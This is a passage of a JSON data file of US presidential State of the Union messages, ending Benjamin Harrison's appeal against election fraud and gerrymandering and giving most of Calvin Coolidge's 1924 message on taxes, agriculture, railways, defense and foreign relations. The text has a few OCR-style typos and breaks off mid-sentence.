temptation.Nothing just now is more important than to provide every guaranty for the\nabsolutely fair and free choice by an equal suffrage within the respective\nStates of all the officers of the National Government, whether that\nsuffrage is applied directly, as in the choice of members of the House of\nRepresentatives, or indirectly, as in the choice of Senators and electors\nof President. Respect for public officers and obedience to law will not\ncease to be the characteristics of our people until our elections cease to\ndeclare the will of majorities fairly ascertained without fraud,\nsuppression, or gerrymander. If I were called upon to declare wherein our\nchief national danger lies, I should say without hesitation in the\noverthrow of majority control by the suppression or perversion of the\npopular suffrage. That there is a real danger here all must agree; but the\nenergies of those who see it have been chiefly expended in trying to fix\nresponsibility upon the opposite party rather than in efforts to make such\npractices impossible by either party.Is it not possible now to adjourn that interminable and inconclusive debate\nwhile we take by consent one step in the direction of reform by eliminating\nthe gerrymander, which has been denounced by all parties as an influence in\nthe selection of electors of President and members of Congress? All the\nStates have, acting freely and separately, determined that the choice of\nelectors by a general ticket is the wisest and safest method, and it would\nseem there could be no objection to a constitutional amendment making that\nmethod permanent. If a legislature chosen in one year upon purely local\nquestions should, pending a Presidential contest, meet, rescind the law for\na choice upon a general ticket, and provide for the choice of electors by\nthe legislature, and this trick should determine the result, it is not too\nmuch to say that the public peace might be seriously and widely\nendangered.I have alluded to the \"gerrymander\" as affecting the method of selecting\nelectors of President by Congressional districts, but the primary intent\nand effect of this form of political robbery have relation to the selection\nof members of the House of Representatives. The power of Congress is ample\nto deal with this threatening and intolerable abuse. The unfailing test of\nsincerity in election reform will be found in a willingness to confer as to\nremedies and to put into force such measures as will most effectually\npreserve the right of the people to free and equal representation.An attempt was made in the last Congress to bring to bear the\nconstitutional powers of the General Government for the correction of fraud\nagainst the suffrage. It is important to know whether the opposition to\nsuch measures is really rested in particular features supposed to be\nobjectionable or includes any proposition to give to the election laws of\nthe United States adequacy to the correction of grave and acknowledged\nevils. I must yet entertain the hope that it is possible to secure a calm,\npatriotic consideration of such constitutional or statutory changes as may\nbe necessary to secure the choice of the officers of the Government to the\npeople by fair apportionments and free elections.I believe it would be possible to constitute a commission, nonpartisan in\nits membership and composed of patriotic, wise, and impartial men, to whom\na consideration of the question of the evils connected with our election\nsystem and methods might be committed with a good prospect of securing\nunanimity in some plan for removing or mitigating those evils. The\nConstitution would permit the selection of the commission to be vested in\nthe Supreme Court if that method would give the best guaranty of\nimpartiality. This commission should be charged with the duty of inquiring\ninto the whole subject of the law of elections as related to the choice of\nofficers of the National Government, with a view to securing to every\nelector a free and unmolested exercise of the suffrage and as near an\napproach to an equality of value in each ballot cast as is attainable.While the policies of the General Government upon the tariff, upon the\nrestoration of our merchant marine, upon river and harbor improvements, and\nother such matters of grave and general concern are liable to be turned\nthis way or that by the results of Congressional elections and\nadministrative policies, sometimes involving issues that tend to peace or\nwar, to be turned this way or that by the results of a Presidential\nelection, there is a rightful interest in all the States and in every\nCongressional district that will not be deceived or silenced by the\naudacious pretense that the question of the right of any body of legal\nvoters in any State or in any Congressional district to give their\nsuffrages freely upon these general questions is a matter only of local\nconcern or control. The demand that the limitations of suffrage shall be\nfound in the law, and only there, is a just demand, and no just man should\nresent or resist it. My appeal is and must continue to be for a\nconsultation that shall \"proceed with candor, calmness, and patience upon\nthe lines of justice and humanity, not of prejudice and cruelty.\"To the consideration of these very grave questions I invite not only the\nattention of Congress, but that of all patriotic citizens. We must not\nentertain the delusion that our people have ceased to regard a free ballot\nand equal representation as the price of their allegiance to laws and to\ncivil magistrates.I have been greatly rejoiced to notice many evidences of the increased\nunification of our people and of a revived national spirit. The vista that\nnow opens to us is wider and more glorious than ever before. Gratification\nand amazement struggle for supremacy as we contemplate the population,\nwealth, and moral strength of our country. A trust momentous in its\ninfluence upon our people and upon the world is for a brief time committed\nto us, and we must not be faithless to its first condition--the defense of\nthe free and equal influence of the people in the choice of public officers\nand in the control of public affairs.BENJ. HARRISON", 
+    "name": "Benjamin Harrison"
+}
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+{
+    "date": "December 3, 1924", 
+    "speech": "To the Congress of the United States:The present state of the Union, upon which it is customary for the\nPresident to report to the Congress under the provisions of the\nConstitution, is such that it may be regarded with encouragement and\nsatisfaction by every American. Our country is almost unique in its ability\nto discharge fully and promptly all its obligations at home and abroad, and\nprovide for all its inhabitants an increase in material resources, in\nintellectual vigor and in moral power. The Nation holds a position\nunsurpassed in all former human experience. This does not mean that we do\nnot have any problems. It is elementary that the increasing breadth of our\nexperience necessarily increases the problems of our national life. But it\ndoes mean that if all will but apply ourselves industriously and honestly,\nwe have ample powers with which to meet our problems and provide for I heir\nspeedy solution. I do not profess that we can secure an era of perfection\nin human existence, but we can provide an era of peace and prosperity,\nattended with freedom and justice and made more and more satisfying by the\nministrations of the charities and humanities of life.Our domestic problems are for the most part economic. We have our enormous\ndebt to pay, and we are paying it. We have the high cost of government to\ndiminish, and we are diminishing it. We have a heavy burden of taxation to\nreduce, and we are reducing it. But while remarkable progress has been made\nin these directions, the work is yet far from accomplished. We still owe\nover $21,000,000,000, the cost of the National Government is still about\n$3,500,000,000, and the national taxes still amount to about $27 for each\none of our inhabitants. There yet exists this enormous field for the\napplication of economy.In my opinion the Government can do more to remedy the economic ills of the\npeople by a system of rigid economy in public expenditure than can be\naccomplished through any other action. The costs of our national and local\ngovernments combined now stand at a sum close to $100 for each inhabitant\nof the land. A little less than one-third of this is represented by\nnational expenditure, and a little more than two-thirds by local\nexpenditure. It is an ominous fact that only the National Government is\nreducing its debt. Others are increasing theirs at about $1,000,000,000\neach year. The depression that overtook business, the disaster experienced\nin agriculture, the lack of employment and the terrific shrinkage in all\nvalues which our country experienced in a most acute form in 1920, resulted\nin no small measure from the prohibitive taxes which were then levied on\nall productive effort. The establishment of a system of drastic economy in\npublic expenditure, which has enabled us to pay off about one-fifth of the\nnational debt since 1919, and almost cut in two the national tax burden\nsince 1921, has been one of the main causes in reestablishing a prosperity\nwhich has come to include within its benefits almost every one of our\ninhabitants. Economy reaches everywhere. It carries a blessing to\neverybody.The fallacy of the claim that the costs of government are borne by the rich\nand those who make a direct contribution to the National Treasury can not\nbe too often exposed. No system has been devised, I do not think any system\ncould be devised, under which any person living in this country could\nescape being affected by the cost of our government. It has a direct effect\nboth upon the rate and the purchasing power of wages. It is felt in the\nprice of those prime necessities of existence, food, clothing, fuel and\nshelter. It would appear to be elementary that the more the Government\nexpends the more it must require every producer to contribute out of his\nproduction to the Public Treasury, and the less he will have for his own\nbenefit. The continuing costs of public administration can be met in only\none way--by the work of the people. The higher they become, the more the\npeople must work for the Government. The less they are, the more the people\ncan work for themselves.The present estimated margin between public receipts and expenditures for\nthis fiscal year is very small. Perhaps the most important work that this\nsession of the Congress can do is to continue a policy of economy and\nfurther reduce the cost of government, in order that we may have a\nreduction of taxes for the next fiscal year. Nothing is more likely to\nproduce that public confidence which is the forerunner and the mainstay of\nprosperity, encourage and enlarge business opportunity with ample\nopportunity for employment at good wages, provide a larger market for\nagricultural products, and put our country in a stronger position to be\nable to meet the world competition in trade, than a continuing policy of\neconomy. Of course necessary costs must be met, proper functions of the\nGovernment performed, and constant investments for capital account and\nreproductive effort must be carried on by our various departments. But the\npeople must know that their Government is placing upon them no unnecessary\nburden.TAXESEveryone desires a reduction of taxes, and there is a great preponderance\nof sentiment in favor of taxation reform. When I approved the present tax\nlaw, I stated publicly that I did so in spite of certain provisions which I\nbelieved unwise and harmful. One of the most glaring of these was the\nmaking public of the amounts assessed against different income-tax payers.\nAlthough that damage has now been done, I believe its continuation to be\ndetrimental To the public welfare and bound to decrease public revenues, so\nthat it ought to be repealed.Anybody can reduce taxes, but it is not so easy to stand in the gap and\nresist the passage of increasing appropriation bills which would make tax\nreduction impossible. It will be very easy to measure the strength of the\nattachment to reduced taxation by the power with which increased\nappropriations are resisted. If at the close of the present session the\nCongress has kept within the budget which I propose to present, it will\nthen be possible to have a moderate amount of tax reduction and all the tax\nreform that the Congress may wish for during the next fiscal year. The\ncountry is now feeling the direct stimulus which came from the passage of\nthe last revenue bill, and under the assurance of a reasonable system of\ntaxation there is every prospect of an era of prosperity of unprecedented\nproportions. But it would be idle to expect any such results unless\nbusiness can continue free from excess profits taxation and be accorded a\nsystem of surtaxes at rates which have for their object not the punishment\nof success or the discouragement of business, but the production of the\ngreatest amount of revenue from large incomes. I am convinced that the\nlarger incomes of the country would actually yield more revenue to the\nGovernment if the basis of taxation were scientifically revised downward.\nMoreover the effect of the present method of this taxation is to increase\nthe cost of interest on productive enterprise and to increase the burden\nof rent. It is altogether likely that such reduction would so encourage and\nstimulate investment that it would firmly establish our country in the\neconomic leadership of the world.WATERWAYSMeantime our internal development should go on. Provision should be made\nfor flood control of such rivers as the Mississippi and the Colorado, and\nfor the opening up of our inland waterways to commerce. Consideration is\ndue to the project of better navigation from the Great Lakes to the Gulf.\nEvery effort is being made to promote an agreement with Canada to build\nthe, St. Lawrence waterway. There are pending before the Congress bills for\nfurther development of the Mississippi Basin, for the taking over of the\nCape Cod Canal in accordance with a moral obligation which seems to have\nbeen incurred during the war, and for the improvement of harbors on both\nthe Pacific and the Atlantic coasts. While this last should be divested of\nsome of its projects and we must proceed slowly, these bills in general\nhave my approval. Such works are productive of wealth and in the long run\ntend to a reduction of the tax burden.RECLAMATIONOur country has a well defined policy of reclamation established under\nstatutory authority. This policy should be continued and made a\nself-sustaining activity administered in a manner that will meet local\nrequirements and bring our and lands into a profitable state of cultivation\nas fast as there is a market for their products. Legislation is pending\nbased on the report of the Fact Finding Commission for the proper relief of\nthose needing extension of time in which to meet their payments on\nirrigated land, and for additional amendments and reforms of our\nreclamation laws, which are all exceedingly important and should be enacted\nat once.No more important development has taken place in the last year than the\nbeginning of a restoration of agriculture to a prosperous condition. We\nmust permit no division of classes in this country, with one occupation\nstriving to secure advantage over another. Each must proceed under open\nopportunities and with a fair prospect of economic equality. The Government\ncan not successfully insure prosperity or fix prices by legislative fiat.\nEvery business has its risk and its times of depression. It is well known\nthat in the long run there will be a more even prosperity and a more\nsatisfactory range of prices under the natural working out of economic laws\nthan when the Government undertakes the artificial support of markets and\nindustries. Still we can so order our affairs, so protect our own people\nfrom foreign competition, so arrange our national finances, so administer\nour monetary system, so provide for the extension of credits, so improve\nmethods of distribution, as to provide a better working machinery for the\ntransaction of the business of the Nation with the least possible friction\nand loss. The Government has been constantly increasing its efforts in\nthese directions for the relief and permanent establishment of agriculture\non a sound and equal basis with other business.It is estimated that the value of the crops for this harvest year may reach\n$13,000,000,000, which is an increase of over $3,000,000,000 in three\nyears. It compares with $7,100,000,000 in 1913, and if we make deduction\nfrom the figures of 1924 for the comparatively decreased value of the\ndollar, the yield this year still exceeds 1913 in purchasing power by over\n$1,000,000,000, and in this interval there has been no increase in the\nnumber of farmers. Mostly by his own effort the farmer has decreased the\ncost of production. A marked increase in the price of his products and some\ndecrease in the price of his supplies has brought him about to a parity\nwith the rest of the Nation. The crop area of this season is estimated at\n370,000,000 acres, which is a decline of 3,000,000 acres from last year,\nand 6,000,000 acres from 1919. This has been a normal and natural\napplication of economic laws, which has placed agriculture on a foundation\nwhich is undeniably sound and beginning to be satisfactory.A decrease in the world supply of wheat has resulted in a very large\nincrease in the price of that commodity. The position of all agricultural\nproducts indicates a better balanced supply, but we can not yet conclude\nthat agriculture is recovered from the effects of the war period or that it\nis permanently on a prosperous basis. The cattle industry has not yet\nrecovered and in some sections has been suffering from dry weather. Every\neffort must be made both by Government activity and by private agencies to\nrestore and maintain agriculture to a complete normal relationship with\nother industries.It was on account of past depression, and in spite of present more\nencouraging conditions, that I have assembled an Agricultural Conference\nmade up of those who are representative of this great industry in both its\noperating and economic sides. Everyone knows that the great need of the\nfarmers is markets. The country is not suffering on the side of production.\nAlmost the entire difficulty is on the side of distribution. This reaches\nback, of course, to unit costs and diversification, and many allied\nsubjects. It is exceedingly intricate, for our domestic and foreign trade,\ntransportation and banking, and in fact our entire economic system, are\nclosely related to it. In time for action at this session, I hope to report\nto the Congress such legislative remedies as the conference may recommend.\nAn appropriation should be made to defray their necessary expenses.MUSCLE SHOALSThe production of nitrogen for plant food in peace and explosives in war is\nmore and more important. It is one of the chief sustaining elements of\nlife. It is estimated that soil exhaustion each year is represented by\nabout 9,000,000 tons and replenishment by 5,450,000 tons. The deficit of\n3,550,000 tons is reported to represent the impairment of 118,000,000 acres\nof farm lands each year.To meet these necessities the Government has been developing a water power\nproject at Muscle Shoals to be equipped to produce nitrogen for explosives\nand fertilizer. It is my opinion that the support of agriculture is the\nchief problem to consider in connection with this property. It could by no\nmeans supply the present needs for nitrogen, but it would help and its\ndevelopment would encourage bringing other water powers into like use.Several offers have been made for the purchase of this property. Probably\nnone of them represent final terms. Much costly experimentation is\nnecessary to produce commercial nitrogen. For that reason it is a field\nbetter suited to private enterprise than to Government operation. I should\nfavor a sale of this property, or long-time lease, tinder rigid guaranties\nof commercial nitrogen production at reasonable prices for agricultural\nuse. There would be a surplus of power for many years over any possibility\nof its application to a developing manufacture of nitrogen. It may be found\nadvantageous to dispose of the right to surplus power separately with such\nreservations as will allow its gradual withdrawal and application to\nnitrogen manufacture. A subcommittee of the Committees on Agriculture\nshould investigate this field and negotiate with prospective purchasers. If\nno advantageous offer be made, the development should continue and the\nplant should be dedicated primarily to the production of materials for the\nfertilization of the soil.RAILWAYSThe railways during the past year have made still further progress in\nrecuperation from the war, with large rains in efficiency and ability\nexpeditiously to handle the traffic of the country. We have now passed\nthrough several periods of peak traffic without the car shortages which so\nfrequently in the past have brought havoc to our agriculture and\nindustries. The condition of many of our great freight terminals is still\none of difficulty and results in imposing, large costs on the public for\ninward-bound freight, and on the railways for outward-bound freight. Owing\nto the growth of our large cities and the great increase in the volume of\ntraffic, particularly in perishables, the problem is not only difficult of\nsolution, but in some cases not wholly solvable by railway action alone.In my message last year I emphasized the necessity for further legislation\nwith a view to expediting the consolidation of our rail ways into larger\nsystems. The principle of Government control of rates and profits, now\nthoroughly imbedded in our governmental attitude toward natural monopolies\nsuch as the railways, at once eliminates the need of competition by small\nunits as a method of rate adjustment. Competition must be preserved as a\nstimulus to service, but this will exist and can be increased tinder\nenlarged systems. Consequently the consolidation of the railways into\nlarger units for the purpose of securing the substantial values to the\npublic which will come from larger operation has been the logical\nconclusion of Congress in its previous enactments, and is also supported by\nthe best opinion in the country. Such consolidation will assure not only a\ngreater element of competition as to service, but it will afford economy in\noperation, greater stability in railway earnings, and more economical\nfinancing. It opens large possibilities of better equalization of rates\nbetween different classes of traffic so as to relieve undue burdens upon\nagricultural products and raw materials generally, which are now not\npossible without ruin to small units owing to the lack of diversity of\ntraffic. It would also tend to equalize earnings in such fashion as to\nreduce the importance of section 15A, at which criticism, often misapplied,\nhas been directed. A smaller number of units would offer less difficulties\nin labor adjustments and would contribute much to the, solution of terminal\ndifficulties.The consolidations need to be carried out with due regard to public\ninterest and to the rights and established life of various communities in\nour country. It does not seem to me necessary that we endeavor to\nanticipate any final plan or adhere to an artificial and unchangeable\nproject which shall stipulate a fixed number of systems, but rather we\nought to approach the problem with such a latitude of action that it can be\nworked out step by step in accordance with a comprehensive consideration of\npublic interest. Whether the number of ultimate systems shall be more or\nless seems to me can only be determined by time and actual experience in\nthe development of such consolidations.Those portions of the present law contemplating consolidations ore not,\nsufficiently effective in producing expeditious action and need\namplification of the authority of the Interstate Commerce Commission,\nparticularly in affording a period for voluntary proposals to the\ncommission and in supplying Government pressure to secure action after the\nexpiration of such a period.There are other proposals before Congress for amending the transportation\nacts. One of these contemplates a revision of the method of valuation for\nrate-making purposes to be followed by a renewed valuation of the railways.\nThe valuations instituted by the Interstate Commerce Commission 10 years\nago have not yet been completed. They have cost the Government an enormous\nsum, and they have imposed great expenditure upon the railways, most of\nwhich has in effect come out of the public in increased rates. This work\nshould not be abandoned or supplanted until its results are known and can\nbe considered.Another matter before the Congress is legislation affecting the labor\nsections of the transportation act. Much criticism has been directed at the\nworkings of this section and experience has shown that some useful\namendment could be made to these provisions.It would be helpful if a plan could be adopted which, while retaining the\npractice of systematic collective bargaining with conciliation voluntary\narbitration of labor differences, could also provide simplicity in\nrelations and more direct local responsibility of employees and managers.\nBut such legislation will not meet the requirements of the situation unless\nit recognizes the principle that t e public has a right to the\nuninterrupted service of transportation, and therefore a right to be heard\nwhen there is danger that the Nation may suffer great injury through the\ninterruption of operations because of labor disputes. If these elements are\nnot comprehended in proposed legislation, it would be better to gain\nfurther experience with the present organization for dealing with these\nquestions before undertaking a change.SHIPPING BOARDThe form of the organization of the Shipping Board was based originally on\nits functions as a semi judicial body in regulation of rates. During the\nwar it was loaded with enormous administrative duties. It has been\ndemonstrated time and again that this form of organization results in\nindecision, division of opinion and administrative functions, which make a\nwholly inadequate foundation for the conduct of a great business\nenterprise. The first principle in securing the objective set out by\nCongress in building up the American merchant marine upon the great trade\nroutes and subsequently disposing of it into private operation can not\nproceed with effectiveness until the entire functions of the board are\nreorganized. The immediate requirement is to transfer into the Emergency\nFleet, Corporation the whole responsibility of operation of the fleet and\nother property, leaving to the Shipping Board solely the duty of\ndetermining certain major policies which require deliberative action.The procedure under section 28 of the merchant marine act has created great\ndifficulty and threatened friction during the past 12 months. Its attempted\napplication developed not only great opposition from exporters,\nparticularly as to burdens that may be imposed upon agricultural products,\nbut also great anxiety in the different seaports as to the effect upon\ntheir relative rate structures. This trouble will certainly recur if action\nis attempted under this section. It is uncertain in some of its terms and\nof great difficulty in interpretation.It is my belief that action under this section should be suspended until\nthe Congress can reconsider the entire question in the light of the\nexperience that has been developed since its enactment.NATIONAL ELECTIONSNothing is so fundamental to the integrity of a republican form of\ngovernment as honesty in all that relates to the conduct of elections. I am\nof the opinion that the national laws governing the choice of members of\nthe Congress should be extended to include appropriate representation of\nthe respective parties at the ballot box ant equality of representation on\nthe various registration boards, wherever they exist.THE JUDICIARYThe docket of the Supreme Court is becoming congested. At the opening term\nlast year it had 592 cases, while this year it had 687 cases. Justice long\ndelayed is justice refused. Unless the court be given power by preliminary\nand summary consideration to determine the importance of cases, and by\ndisposing of those which are not of public moment reserve its time for the\nmore extended consideration of the remainder, the congestion of the docket\nis likely to increase. It is also desirable that Supreme Court should have\npower to improve and reform procedure in suits at law in the Federal courts\nthrough the adoption of appropriate rules. The Judiciary Committee of the\nSenate has reported favorably upon two bills providing for these reforms\nwhich should have the immediate favorable consideration of the Congress.I further recommend that provision be made for the appointment of a\ncommission, to consist of two or three members of the Federal judiciary and\nas many members of the bar, to examine the present criminal code of\nprocedure and recommend to the Congress measures which may reform and\nexpedite court procedure in the administration and enforcement of our\ncriminal laws.PRISON REFORMPending before the Congress is a bill which has already passed one House\nproviding for a reformatory to which could be committed first offenders and\nyoung men for the purpose of segregating them from contact with banned\ncriminals and providing them with special training in order to reestablish\nin them the power to pursue a law-abiding existence in the social and\neconomic life of the Nation. This is a matter of so much importance as to\nwarrant the early attention of the present session. Further provision\nshould also be made, for a like reason, for a separate reformatory for\nwomen.NATIONAL POLICE BUREAURepresentatives of the International Police Conference will bring to t e\nattention of the Congress a proposal for the establishment of a national\npolice bureau. Such action would provide a central point for gathering,\ncompiling, and later distributing to local police authorities much\ninformation which would be helpful in the prevention and detection of\ncrime. I believe this bureau is needed, and I recommend favorable\nconsideration of this proposal.DISTRICT OF COLUMBIA WELFAREThe welfare work of the District of Columbia is administered by several\ndifferent boards dealing with charities and various correctional efforts.\nIt would be an improvement if this work were consolidated and placed under\nthe direction of a single commission.FRENCH SPOLIATION CLAIMSDuring the last session of the Congress legislation was introduced looking\nto the payment of the remaining claims generally referred to as the French\nspoliation claims. The Congress has provided for the payment of many\nsimilar claims. Those that remain unpaid have been long pending. The\nbeneficiaries thereunder have every reason to expect payment. These claims\nhave been examined by the Court of Claims and their validity and amount\ndetermined. The United States ought to pay its debts. I recommend action by\nthe Congress which will permit of the payment of these remaining claims.THE WAGE EARNERTwo very important policies have been adopted by this country which, while\nextending their benefits also in other directions, have been of the utmost\nimportance to the wage earners. One of these is the protective tariff,\nwhich enables our people to live according to a better standard and receive\na better rate of compensation than any people, any time, anywhere on earth,\never enjoyed. This saves the American market for the products of the\nAmerican workmen. The other is a policy of more recent origin and seeks to\nshield our wage earners from the disastrous competition of a great influx\nof foreign peoples. This has been done by the restrictive immigration law.\nThis saves the American job for the American workmen. I should like to see\nthe administrative features of this law rendered a little more humane for\nthe purpose of permitting those already here a greater latitude in securing\nadmission of members of their own families. But I believe this law in\nprinciple is necessary and sound, and destined to increase greatly the\npublic welfare. We must maintain our own economic position, we must defend\nour own national integrity.It is gratifying to report that the progress of industry, the enormous\nincrease in individual productivity through labor-saving devices, and the\nhigh rate of wages have all combined to furnish our people in general with\nsuch an abundance not only of the necessaries but of the conveniences of\nlife that we are by a natural evolution solving our problems of economic\nand social justice.THE NEGROThese developments have brought about a very remarkable improvement in the\ncondition of the negro race. Gradually, but surely, with the almost\nuniversal sympathy of those among whom they live, the colored people are\nworking out their own destiny. I firmly believe that it is better for all\nconcerned that they should be cheerfully accorded their full constitutional\nrights, that they should be protected from all of those impositions to\nwhich, from their position, they naturally fall a prey, especially from the\ncrime of lynching and that they should receive every encouragement to\nbecome full partakers in all the blessings of our common American\ncitizenship.CIVIL SERVICEThe merit system has long been recognized as the correct basis for\nemployment in our, civil service. I believe that first second, and third\nclass postmasters, and without covering in the present membership the\nfield force of prohibition enforcement, should be brought within the\nclassified service by statute law. Otherwise the Executive order of one\nadministration is changed by the Executive order of another administration,\nand little real progress is made. Whatever its defects, the merit system is\ncertainly to be preferred to the spoils system.DEPARTMENTAL REORGANIZATIONOne way to save public money would be to pass the pending bill for the\nreorganization of the various departments. This project has been pending\nfor some time, and has had the most careful consideration of experts and\nthe thorough study of a special congressional committee. This legislation\nis vital as a companion piece to the Budget law. Legal authority for a\nthorough reorganization of the Federal structure with some latitude of\naction to the Executive in the rearrangement of secondary functions would\nmake for continuing economy in the shift of government activities which\nmust follow every change in a developing country. Beyond this many of the\nindependent agencies of the Government must be placed under responsible\nCabinet officials, if we are to have safeguards of efficiency, economy, and\nprobity.ARMY AND NAVYLittle has developed in relation to our national defense which needs\nspecial attention. Progress is constantly being made in air navigation and\nrequires encouragement and development. Army aviators have made a\nsuccessful trip around the world, for which I recommend suitable\nrecognition through provisions for promotion, compensation, and retirement.\nUnder the direction of the Navy a new Zeppelin has been successfully\nbrought from Europe across the Atlantic to our own country.Due to the efficient supervision of the Secretary of War the Army of the\nUnited States has been organized with a small body of Regulars and a\nmoderate National Guard and Reserve. The defense test of September 12\ndemonstrated the efficiency of the operating plans. These methods and\noperations are well worthy of congressional support.Under the limitation of armaments treaty a large saving in outlay and a\nconsiderable decrease in maintenance of the Navy has been accomplished. We\nshould maintain the policy of constantly working toward the full treaty\nstrength of the Navy. Careful investigation is being made in this\ndepartment of the relative importance of aircraft, surface and submarine\nvessels, in order that we may not fail to take advantage of all modern\nimprovements for our national defense. A special commission also is\ninvestigating the problem of petroleum oil for the Navy, considering the\nbest policy to insure the future supply of fuel oil and prevent the\nthreatened drainage of naval oil reserves. Legislative action is required\nto carry on experiments in oil shale reduction, as large deposits of this\ntype have been set aside for the use of the Navy.We have been constantly besought to engage in competitive armaments.\nFrequent reports will reach us of the magnitude of the military equipment\nof other, nations. We shall do well to be little impressed by such reports\nor such actions. Any nation undertaking to maintain a military\nestablishment with aggressive and imperialistic designs will find itself\nseverely handicapped in the economic development of the world. I believe\nthoroughly in the Army and Navy, in adequate defense and preparation. But I\nam opposed to any policy of competition in building and maintaining land or\nsea armaments.Our country has definitely relinquished the old standard of dealing with\nother countries by terror and force, and is definitely committed to the new\nstandard of dealing with them through friendship and understanding. This\nnew policy should be constantly kept in mind by the guiding forces of the\nArmy and Navy, by the. Congress and by the country at large. I believe it\nholds a promise of great benefit to humanity. I shall resist any attempt to\nresort to the old methods and the old standards. I am especially solicitous\nthat foreign nations should comprehend the candor and sincerity with which\nwe have adopted this position. While we propose to maintain defensive and\nsupplementary police forces by land and sea, and to train them through\ninspections and maneuvers upon appropriate occasions in order to maintain\ntheir efficiency, I wish every other nation to understand that this does\nnot express any unfriendliness or convey any hostile intent. I want the\narmed forces of America to be considered by all peoples not as enemies but\nas friends as the contribution which is made by this country for the\nmaintenance of the peace and security of the world.VETERANSWith the authorization for general hospitalization of the veterans of all\nwars provided during the present year, the care and treatment of those who\nhave served their country in time of peril and the attitude of the\nGovernment toward them is not now so much one of needed legislation as one\nof careful, generous and humane administration. It will ever be recognized\nthat their welfare is of the first concern and always entitled to the most\nsolicitous consideration oil the part of their fellow citizens. They are\norganized in various associations, of which the chief and most\nrepresentative is the American Legion. Through its officers the Legion will\npresent to the Congress numerous suggestions for legislation. They cover\nsuch a wide variety of subjects that it is impossible to discuss them\nwithin the scope of this message. With many of the proposals I join in\nhearty approval and commend them all to the sympathetic investigation and\nconsideration of the Congress.FOREIGN RELATIONSAt no period in the past 12 years have our foreign relations been in such a\nsatisfactory condition as they are at the present time. Our actions in the\nrecent months have greatly strengthened the American policy of permanent\npeace with independence. The attitude which our Government took and\nmaintained toward an adjustment of European reparations, by pointing out\nthat it wits not a political but a business problem, has demonstrated its\nwisdom by its actual results. We desire to see Europe restored that it may\nresume its productivity in the increase of industry and its support in the\nadvance of civilization. We look with great gratification at the hopeful\nprospect of recuperation in Europe through the Dawes plan. Such assistance\nas can be given through the action of the public authorities and of our\nprivate citizens, through friendly counsel and cooperation, and through\neconomic and financial support, not for any warlike effort but for\nreproductive enterprise, not to provide means for unsound government\nfinancing but to establish sound business administration should be\nunhesitatingly provided.Ultimately nations, like individuals, can not depend upon each other but\nmust depend upon themselves. Each one must work out its own salvation. We\nhave every desire to help. But with all our resources we are powerless to\nsave unless our efforts meet with a constructive response. The situation in\nour own country and all over the world is one Chat can be improved only by\nbard work and self-denial. It is necessary to reduce expenditures, increase\nsavings and liquidate debts. It is in this direction that there lies the\ngreatest hope of domestic tranquility and international peace. Our own\ncountry ought to finish the leading example in this effort. Our past\nadherence to this policy, our constant refusal to maintain a military\nestablishment that could be thought to menace the security of others, our\nhonorable dealings with other nations whether great or small, has left us\nin the almost constant enjoyment of peace.It is not necessary to stress the general desire of all the people of this\ncountry for the promotion of peace. It is the leading principle of all our\nforeign relations. We have on every occasion tried to cooperate to this end\nin all ways that were consistent with our proper independence and our\ntraditional policies. It will be my constant effort to maintain these\nprinciples, and to reinforce them by all appropriate agreements and\ntreaties. While we desire always to cooperate and to help, we are equally\ndetermined to be independent and free. Right and truth and justice and\nhumanitarian efforts will have the moral support of this country all over\nthe world. But we do not wish to become involved in the political\ncontroversies of others. Nor is the country disposed to become a member of\nthe League of Nations or to assume the obligations imposed by its\ncovenant.INTERNATIONAL COURTAmerica has been one of the foremost nations in advocating tribunals for\nthe settlement of international disputes of a justiciable character. Our\nrepresentatives took a leading in those conferences which resulted in the\nestablishment of e ague Tribunal, and later in providing for a Permanent\nCourt of International Justice. I believe it would be for the advantage of\nthis country and helpful to the stability of other nations for us to adhere\nto the protocol establishing, that court upon the conditions stated in the\nrecommendation which is now before the Senate, and further that our country\nshall not be bound by advisory opinions which may be, rendered by the court\nupon questions which we have not voluntarily submitted for its judgment.\nThis court would provide a practical and convenient tribunal before which\nwe could go voluntarily, but to which we could not be summoned, for a\ndetermination of justiciable questions when they fail to be resolved by\ndiplomatic negotiations.DISARMAMENT CONFERENCEMany times I have expressed my desire to see the work of the Washington\nConference on Limitation of Armaments appropriately supplemented by further\nagreements for a further reduction M for the purpose of diminishing the\nmenace and waste of the competition in preparing instruments of\ninternational war. It has been and is my expectation that we might\nhopefully approach other great powers for further conference on this\nsubject as soon as the carrying out of the present reparation plan as the\nestablished and settled policy of Europe has created a favorable\nopportunity. But on account of proposals which have already been made by\nother governments for a European conference, it will be necessary to wait\nto see what the outcome of their actions may be. I should not wish to\npropose or have representatives attend a conference which would contemplate\ncommitments opposed to the freedom of action we desire to maintain\nunimpaired with respect to our purely domestic policies.INTERNATIONAL LAWOur country should also support efforts which are being made toward the\ncodification of international law. We can look more hopefully, in the first\ninstance, for research and studies that are likely to be productive of\nresults, to a cooperation among representatives of the bar and members of\ninternational law institutes and societies, than to a conference of those\nwho are technically representative of their respective governments,\nalthough, when projects have been developed, they must go to the\ngovernments for their approval. These expert professional studies are going\non in certain quarters and should have our constant encouragement and\napproval.OUTLAW OF WARMuch interest has of late been manifested in this country in the discussion\nof various proposals to outlaw aggressive war. I look with great sympathy\nupon the examination of this subject. It is in harmony with the traditional\npolicy of our country, which is against aggressive war and for the\nmaintenance of permanent and honorable peace. While, as I have said, we\nmust safeguard our liberty to deal according to our own judgment with our\ndomestic policies, we can not fail to view with sympathetic interest all\nprogress to this desired end or carefully to study the measures that may be\nproposed to attain it.LATIN AMERICAWhile we are desirous of promoting peace in every quarter of the globe, we\nhave a special interest in the peace of this hemisphere. It is our constant\ndesire that all causes of dispute in this area may be tranquilly and\nsatisfactorily adjusted. Along with our desire for peace is the earnest\nhope for the increased prosperity of our sister republics of Latin America,\nand our constant purpose to promote cooperation with them which may be\nmutually beneficial and always inspired by the most cordial friendships.FOREIGN DEBTSAbout $12,000,000,000 is due to our Government from abroad, mostly from\nEuropean Governments. Great Britain, Finland, Hungary, Lithuania and Poland\nhave negotiated settlements amounting close to $5,000,000,000. This\nrepresents the funding of over 42 per cent of the debt since the creation\nof the special Foreign Debt Commission. As the life of this commission is\nabout to expire, its term should be extended. I am opposed to the\ncancellation of these debts and believe it for the best welfare of the\nworld that they should be liquidated and paid as fast as possible. I do not\nfavor oppressive measures, but unless money that is borrowed is repaid\ncredit can not be secured in time of necessity, and there exists besides a\nmoral obligation which our country can not ignore and no other country can\nevade. Terms and conditions may have to conform to differences in the\nfinancial abilities of the countries concerned, but the principle that each\ncountry should meet its obligation admits of no differences and is of\nuniversal application.It is axiomatic that our country can not stand still. It would seem to be\nperfectly plain from recent events that it is determined to go forward. But\nit wants no pretenses, it wants no vagaries. It is determined to 